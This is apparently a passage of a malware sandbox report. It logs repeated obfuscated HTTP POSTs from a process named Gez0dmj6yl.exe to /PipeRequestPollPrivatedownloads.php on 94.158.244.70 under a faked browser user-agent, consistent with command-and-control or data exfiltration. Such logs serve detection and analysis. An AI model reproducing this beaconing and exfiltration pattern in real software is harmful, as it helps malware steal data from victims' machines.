Sep 1, 2024 23:57:56.450968981 CEST	1040	OUT	Data Raw: 55 5e 58 52 58 52 59 50 5b 5b 54 51 5b 57 56 5e 57 5a 5a 41 50 5b 51 5a 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U^XRXRYP[[TQ[WV^WZZAP[QZ^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#]209!1'!7-* C;;=/1-,V)"4\19[$<'\?;9G$#P/,
Sep 1, 2024 23:57:56.668828011 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:56.793196917 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:56 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	49788	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:56.922597885 CEST	304	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue
Sep 1, 2024 23:57:57.279102087 CEST	1040	OUT	Data Raw: 55 5f 58 5f 58 5e 59 56 5b 5b 54 51 5b 54 56 53 57 56 5a 44 50 53 51 52 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U_X_X^YV[[TQ[TVSWVZDPSQR^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ '3&X!&Q&$9! $,= [&.;+W(]%![0/(;9G$#P/
Sep 1, 2024 23:57:57.496474028 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:57.621265888 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	49789	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:57.895658016 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:58.247906923 CEST	1040	OUT	Data Raw: 55 51 58 5a 5d 58 59 52 5b 5b 54 51 5b 51 56 5f 57 51 5a 45 50 5b 51 52 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UQXZ]XYR[[TQ[QV_WQZEP[QR^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#&#9!Y&&T49*1S"&?-=/2,V(!$>>$??]<;9G$#P/4
Sep 1, 2024 23:57:58.465549946 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:58.589111090 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49790	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:58.718838930 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:59.075920105 CEST	1040	OUT	Data Raw: 55 5a 58 5f 58 5b 5c 53 5b 5b 54 51 5b 5d 56 53 57 5a 5a 42 50 58 51 59 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UZX_X[\S[[TQ[]VSWZZBPXQY^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#10&^""T&14C9*9 5<T->82=<!'%--\$/<+9G$#P/
Sep 1, 2024 23:57:59.294598103 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:57:59.421561956 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:57:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49791	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:57:59.547100067 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1032 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:57:59.904052973 CEST	1032	OUT	Data Raw: 50 5c 58 5e 5d 5b 5c 52 5b 5b 54 51 5b 55 56 50 57 55 5a 45 50 58 51 52 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P\X^][\R[[TQ[UVPWUZEPXQR^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#%0&_5<>W&'-)%U +,(1-()!0X%-0+X+9G$#P/<
Sep 1, 2024 23:58:00.119067907 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:00.244626045 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49792	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:00.379268885 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1032 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:00.732697010 CEST	1032	OUT	Data Raw: 50 5c 5d 5f 58 52 59 50 5b 5b 54 51 5b 55 56 5e 57 57 5a 47 50 53 51 5e 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P\]_XRYP[[TQ[UV^WWZGPSQ^^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#2.Z!?1%$.=T"%$U8=#2(V<4Y%$Y8(;9G$#P/
Sep 1, 2024 23:58:00.952847004 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:01.081033945 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:00 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49793	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:01.202080965 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:01.560357094 CEST	1040	OUT	Data Raw: 55 59 5d 59 5d 5f 5c 55 5b 5b 54 51 5b 5c 56 50 57 50 5a 48 50 53 51 5e 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UY]Y]_\U[[TQ[\VPWPZHPSQ^^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ %#2["?*'2<.-U 68T8=]%'? [&-%[0,'[?9G$#P/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49794	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:01.675415039 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1756 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:02.029045105 CEST	1756	OUT	Data Raw: 55 5d 58 58 58 5d 59 5e 5b 5b 54 51 5b 53 56 55 57 53 5a 43 50 5a 51 53 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U]XXX]Y^[[TQ[SVUWSZCPZQS^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#\&V95"'2<C-:%V4$V;[4%'(7%--$/;);9G$#P/<
Sep 1, 2024 23:58:02.252717018 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:02.377080917 CEST	380	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:02 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 03 10 21 02 31 07 3c 0e 26 11 35 0c 31 1f 27 0e 29 19 24 43 2d 58 2c 00 37 0d 28 10 2d 3c 04 5b 35 33 25 1c 3c 07 20 12 3c 3d 2f 0e 21 1d 20 51 04 12 21 5c 23 2e 21 52 39 28 25 5c 26 1c 30 04 35 23 26 5f 3f 39 32 08 36 29 3e 1d 31 0d 29 5d 2b 3f 24 57 2c 2b 33 19 3e 06 26 1f 23 02 21 56 0f 12 25 1b 32 39 3f 13 33 05 3b 09 33 2f 1b 14 36 3e 30 02 23 07 3f 52 32 30 3a 5f 29 3f 2f 5b 28 2d 31 58 30 05 32 5a 27 3e 2f 54 24 16 23 50 2d 02 2f 52 04 31 56 54 Data Ascii: !1<&51')$C-X,7(-<[53%< <=/! Q!\#.!R9(%\&05#&_?926)>1)]+?$W,+3>&#!V%29?3;3/6>0#?R20:_)?/[(-1X02Z'>/T$#P-/R1VT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	49795	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:01.796278954 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:02.154061079 CEST	1040	OUT	Data Raw: 50 5a 5d 5b 58 5d 5c 52 5b 5b 54 51 5b 52 56 51 57 56 5a 49 50 53 51 5f 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: PZ][X]\R[[TQ[RVQWVZIPSQ_^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ 20&X"1+:9>#C U-=+1-+<1?1='/\?9G$#P/
Sep 1, 2024 23:58:02.380374908 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:02.506520033 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	49796	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:02.625823021 CEST	304	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue
Sep 1, 2024 23:58:02.982331038 CEST	1040	OUT	Data Raw: 55 5f 5d 5b 58 5d 5c 57 5b 5b 54 51 5b 5d 56 50 57 54 5a 44 50 5b 51 5c 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U_][X]\W[[TQ[]VPWTZDP[Q\^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#2%#,-12'-*#C /+1'(,Z&\$#Z(9G$#P/
Sep 1, 2024 23:58:03.207356930 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:03.334201097 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W
Sep 1, 2024 23:58:03.563015938 CEST	151	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	49797	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:03.578908920 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1032 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:03.935328007 CEST	1032	OUT	Data Raw: 50 5f 58 59 5d 5c 59 53 5b 5b 54 51 5b 55 56 5e 57 53 5a 49 50 5d 51 53 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P_XY]\YS[[TQ[UV^WSZIP]QS^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#1"Z!/2U22<C-9S"6<U8-/1+!\&.6%<;X<+9G$#P/
Sep 1, 2024 23:58:04.144042015 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:04.268944025 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	49798	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:04.388501883 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:04.747786999 CEST	1040	OUT	Data Raw: 55 5d 58 53 58 59 59 51 5b 5b 54 51 5b 51 56 54 57 53 5a 40 50 59 51 5d 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: U]XSXYYQ[[TQ[QVTWSZ@PYQ]^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ &V&^!2%!<B-:&4%--$2S("4\&"'3\++9G$#P/4
Sep 1, 2024 23:58:04.968314886 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:05.253565073 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:04 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	49799	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:05.374849081 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:05.732269049 CEST	1040	OUT	Data Raw: 50 5f 5d 59 5d 5b 5c 52 5b 5b 54 51 5b 57 56 56 57 54 5a 47 50 53 51 52 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: P_]Y][\R[[TQ[WVVWTZGPSQR^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\#]' "?=%!(,*%"58S8-72U+W ]&.5['Y#]?9G$#P/,
Sep 1, 2024 23:58:05.976927042 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:06.106657028 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	49800	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:06.235399008 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive
Sep 1, 2024 23:58:06.591975927 CEST	1040	OUT	Data Raw: 55 51 58 5b 5d 5e 5c 55 5b 5b 54 51 5b 52 56 52 57 50 5a 43 50 59 51 59 5e 52 42 50 54 59 54 5f 5c 52 55 43 53 5c 56 5f 42 5c 57 53 5f 51 5a 5e 52 5e 5e 5d 5f 5c 5b 55 55 5e 5b 54 5b 53 5c 5a 59 55 5c 5c 53 5f 57 54 5a 5f 5c 5d 5d 56 5a 59 55 5d Data Ascii: UQX[]^\U[[TQ[RVRWPZCPYQY^RBPTYT_\RUCS\V_B\WS_QZ^R^^]_\[UU^[T[S\ZYU\\S_WTZ_\]]VZYU]ZQPYSDWYXS^][V\Z_V^Y\YZQZRZ_C[Z_U_XX\S[PXZUZYSU^^ZZXQ]__YS_ZYRRYV_QXU^__^\SD[YCP]GXZVWYAP^X\_]_\\YX^P\ 10!Y!1<A:: C78-8Y$=<T(!%)X'+[);9G$#P/
Sep 1, 2024 23:58:06.835268974 CEST	25	IN	HTTP/1.1 100 Continue
Sep 1, 2024 23:58:06.936796904 CEST	207	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 21:58:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 31 58 5b 57 Data Ascii: 1X[W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	49801	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:07.061640024 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1040 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	49802	94.158.244.70	80	2436	C:\Users\user\Desktop\Gez0dmj6yl.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 23:58:07.395036936 CEST	328	OUT	POST /PipeRequestPollPrivatedownloads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34 Host: 94.158.244.70 Content-Length: 1756 Expect: 100-continue Connection: Keep-Alive
